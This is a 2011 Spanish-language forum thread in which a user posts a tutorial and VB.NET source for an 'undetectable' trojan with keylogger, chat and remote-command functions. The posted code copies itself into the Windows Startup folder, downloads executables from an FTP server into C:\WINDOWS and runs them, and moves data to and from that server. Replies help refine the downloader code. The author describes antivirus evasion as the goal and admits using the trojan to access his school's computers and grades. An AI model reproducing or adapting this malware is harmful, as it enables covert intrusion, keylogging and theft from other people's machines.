Troyano en VB.NET (indectectable)

Iniciado por jhonsc, 23 Agosto 2011, 20:42 PM

0 Miembros y 1 Visitante están viendo este tema.

jhonsc

Hola, soy nuevo en el foro y quería empezar a publicar y a contribuir asi que voy a poner un tema sobre como hacer un troyano con algunas funciones sin rastro de winsock (el winsock todos los antivirus lo dectectan ya).
Pués bien, compienzo: :D

Antes de empezar voy a dejar claro las funciones que quiero que tenga:
-Keylogger
-Chat
-Chat "a lo Matrix"  ;D
-Abrir consola
-Ejecutar

abrimos el Visual Basic (en mi caso el 2008, que también funciona en windows 7) y agregamos un nuevo proyecto. Este será el "Panel de control" del cliente:
Ponemos unos buttons (yo los he puesto incluidos en un ToolStrip, pero da igual).
Aquí viene una de las cosas que debes de tener en cuenta para que tu troyano FTP no se te bloquee; esos botones, no habren un Form2, ni otro formulario, si no que habrén programas que se encargan de esa función (la del keylogger por ejemplo).
Esto lo hacemos por que si pones todas las conexiones del troyano (keylogger, ordenes, chats...) pues el programa se te acaba saturando y bloqueando; por ello, lo ponemos por separado. Aunque lo metamos por separado, no hace falta que el ejecute todos los apartados>>>>en vez de eso, ejecutará un solo programa, el cual se descargará las otras partes de un servidor y las pondrá en las carpetas del equipo correspondientes. El código sería así:

Public Class Form1
    Dim aPath As String = Application.ExecutablePath()

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        If Not My.Computer.FileSystem.FileExists("C:\Documents and Settings\Administrador\Menú Inicio\Programas\Inicio\msp.exe") Then
            My.Computer.FileSystem.CopyFile(aPath, "C:\Documents and Settings\Administrador\Menú Inicio\Programas\Inicio\msp.exe")
        End If
        If My.Computer.FileSystem.FileExists("C:\WINDOWS\keg.exe") And My.Computer.FileSystem.FileExists("C:\WINDOWS\ord.exe") Then
            Shell("C:\WINDOWS\keg.exe")
            Shell("C:\WINDOWS\ord.exe")
        End If
        If Not My.Computer.FileSystem.FileExists("C:\WINDOWS\keg.exe") Then
            My.Computer.Network.DownloadFile("ftp://servidor/key.exe", "C:\WINDOWS\keg.exe", "user", "passw")
        End If
        If Not My.Computer.FileSystem.FileExists("C:\WINDOWS\cht.exe") Then
            My.Computer.Network.DownloadFile("ftp://servidor/chat.exe", "C:\WINDOWS\cht.exe", "user", "passw")
        End If
        If Not My.Computer.FileSystem.FileExists("C:\WINDOWS\chmat.exe") Then
            My.Computer.Network.DownloadFile("ftp://servidor/chatmatrix.exe", "C:\WINDOWS\chmat.exe", "user", "passw")
        End If
        If Not My.Computer.FileSystem.FileExists("C:\WINDOWS\ord.exe") Then
            My.Computer.Network.DownloadFile("ftp://servidor/ordenes.exe", "C:\WINDOWS\ord.exe", "user", "passw")
            Shell("C:\WINDOWS\keg.exe")
            Shell("C:\WINDOWS\ord.exe")
        End If
        End
    End Sub
End Class



Ese sería el código del "Instalador" del Server.
Tampoco pretendo poner todo el código fuente de mi troyano así que diré lo imprescindible:

--La transmisión de datos de los chat se hace por el siguiente código:
Dim name As String
        name = TextBox1.Text
        Try
            Dim client As New Net.WebClient
            client.Credentials = New Net.NetworkCredential("user", "passw")
            client.UploadString("fttp://sevidor/cht1.txt", name & ": " & vbNewLine & RichTextBox1.Text & vbNewLine)
            RichTextBox1.Clear()
        Catch ex As Exception
        End Try
        Try
            Dim client As New Net.WebClient
            client.Credentials = New Net.NetworkCredential("user", "passw")
            RichTextBox2.Text = client.DownloadString("ftp://servidor/cht1.txt")
        Catch ex As Exception
        End Try


Doy por echo que sabeis hacer un keylogger así que no lo pongo.

Y como no queremos que se acumulen las ordenes cuando las mandemos, al recibirlas el servidor sube un archivo que sustituye el otro, dejandolo en blanco, lo cual se haría con este código: (este código se pondría después de que se ejecutase el correspodiente archivo)

Servidor (el apartado de las ordenes):
My.Computer.FileSystem.WriteAllText(aPath & "\remord1.txt", _
        "", True)
                My.Computer.Network.UploadFile(aPath & "\remord1.txt", "ftp://servidor/orderlist1.txt", "user", "passw")
                My.Computer.FileSystem.DeleteFile(aPath & "\remord1.txt")
                RichTextBox1.Clear()


Os pongo una foto de como queda:
-La pantalla del Servidor cuando le pones el chat "a lo Matrix" (toda la pantalla):


-Y como sería el controlador del chat "a lo matrix" (el cliente):



Bueno espero que os sirva para adaptaros a las nuevas politicas anti-winsock que se manifistan en windows 7  ;D
"Vive rápido, muere joven y deja un bonito cadáver"
"Todos somos muy ignorantes. Lo que ocurre es que no todos ignoramos las mismas cosas."
"Hay una fuerza motriz más poderosa que el vapor, la electricidad y la energía atómica: la voluntad."

hackertotal22

Gracias hacia tiempo que buscaba un ejemplo sencillo de vb.net y sockets  ;-) ;-)

RsTyLeR

#2
Un trabajo muy currado.
Pero me parece que en vez de finalizar los IF puedes usar los ELSE ya que creo que es lo mismo IF NOT que ELSE.
If Not My.Computer.FileSystem.FileExists("C:\WINDOWS\keg.exe") Then
           My.Computer.Network.DownloadFile("ftp://servidor/key.exe", "C:\WINDOWS\keg.exe", "user", "passw")
       End If


Lo que digo es esto:

       If My.Computer.FileSystem.FileExists("C:\WINDOWS\keg.exe") And My.Computer.FileSystem.FileExists("C:\WINDOWS\ord.exe") Then
           Shell("C:\WINDOWS\keg.exe")
           Shell("C:\WINDOWS\ord.exe")
     
     ELSE My.Computer.FileSystem.FileExists("C:\WINDOWS\keg.exe") Then
           My.Computer.Network.DownloadFile("ftp://servidor/key.exe", "C:\WINDOWS\keg.exe", "user", "passw")
       End If



Conste que mi conocimiento básico y estoy aún haciendo mis pinitos. Así que posiblemente me equivoque, ya que me parece no puedes poner dos veces un ELSE en la instruccion IF y me este equivocando yo.
Ahora tambien pensando se me ha ocurrido también la funcion ElseIf.


Saludos  ;)
-Asus P5Q Deluxe Socket 775
-Intel Core 2 Quad Q9550 2.83 GHz@ 3,6 Ghz
-nVidia Gtx295 Sli x2
-HiperX Kinstong 2x2GB
-HDD Seagate 320gb 32mb+Samsung 1tb 32mb.+Samsung 320gb 16mb.
-Fuente Nox Pulsar 650 W Reales
-Acer Al2416W 24" 1920x1200

jhonsc

#3
Tienes razón, se pordría haber puesto con else. Es más, mi código al principio era con Else, pero mi ordenador está echo unamierda (aunque parezca una excusa muy mala)  y me acabé artando y borrando todo el código y cuando lo reconstruí se quedo así xd. Pero alomejor si te apareció el problema de que no puedes quizá fuese por que aunque pongas else, debes terminar todo, por cada If un End If, un ejemplo:

If My.Computer.FileSystem.FileExists("C:\WINDOWS\keg.exe") And My.Computer.FileSystem.FileExists("C:\WINDOWS\ord.exe") Then
           Shell("C:\WINDOWS\keg.exe")
           Shell("C:\WINDOWS\ord.exe")
     
     Else
          If Not  My.Computer.FileSystem.FileExists("C:\WINDOWS\keg.exe") Then
           My.Computer.Network.DownloadFile("ftp://servidor/key.exe", "C:\WINDOWS\keg.exe", "user", "passw")
       End If
End If

Ya que has puesto hay dos If, luego pones dos End If.
"Vive rápido, muere joven y deja un bonito cadáver"
"Todos somos muy ignorantes. Lo que ocurre es que no todos ignoramos las mismas cosas."
"Hay una fuerza motriz más poderosa que el vapor, la electricidad y la energía atómica: la voluntad."

EddyW

Hola,

Como siempre digo, la idea está bien! de que funciona, si lo hace, pero el código esta demasiado 'sucio'.
Que manía de dejar los controles sin nombre (TextBox1 podría ser NameTxt), ¿no conoces las funciones (Function) y Procedimientos (Sub)? o todo era parte del 'indetectamiento' xD

Podrías reducir mucho el código y darle mayor 'calidad' si usas procedimientos para realizar las tareas por ejemplo de comprobar la existencia de los archivos, el código es muy redundante al respecto, cuando repites una acción más de 2 veces es adecuado usar funciones y/o procedimientos.

Algo así:
Código (vb.net) [Seleccionar]
Imports ejemplo.My

Module Module1
    Sub Main()
        Dim exe As Array
        exe = {"key.exe", "chat.exe", "mchat.exe", "ord.exe"}
        Exist("C:\Windows\", exe)
    End Sub

    Private Sub Exist(ByVal Dir As String, ByRef files As Array)
        Dim i As Object
        For Each i In files
            If Not Computer.FileSystem.FileExists(Dir + i.ToString) Then
                My.Computer.Network.DownloadFile("ftp://servidor/"+i.ToString, Dir + i.ToString, "user", "passw")
            End If
        Next
    End Sub
End Module


Como vez, paso el nombre de los archivos en un solo array a la función "Exist" ahorrando como 4 sentencias if, imagina que hubieran sido 100 archivos dudo que escribieras todas esas sentencias if.
Si quisieras modificar la ruta por ejemplo, solo tendrías que cambiar un parámetro y no editar todos los ifs.

No soy programador de VB.Net pero es prácticamente igual a C# (Quitando la sintaxis, aunque no podía evitar colocar ";" al final Dx).
Las buenas prácticas te pueden servir mucho en el futuro ;)

SaluDOS!
PD: Por cierto acomodar tu código en las etiquetas [code=vb.net]'Aquí tu codigo[/code] no se vería nada mal :)

jhonsc

#5
Ok, gracias  :D . No se me había ocurrido. Además era uno que estaba haciendo con un amigo para echarle un vistazo por dentro al ordenador de mi escuela y las notas  ;D . Gracias de nuevo.

Nota: No es parte de mi "indectectamiento"; el "indetectamiento viene a ser por que no utiliza el winsock que es lo que los antivirus huelen. Además no me gusta mucho decirlo.... que como lo vean los de microsoft ya deja de serlo  :laugh:
"Vive rápido, muere joven y deja un bonito cadáver"
"Todos somos muy ignorantes. Lo que ocurre es que no todos ignoramos las mismas cosas."
"Hay una fuerza motriz más poderosa que el vapor, la electricidad y la energía atómica: la voluntad."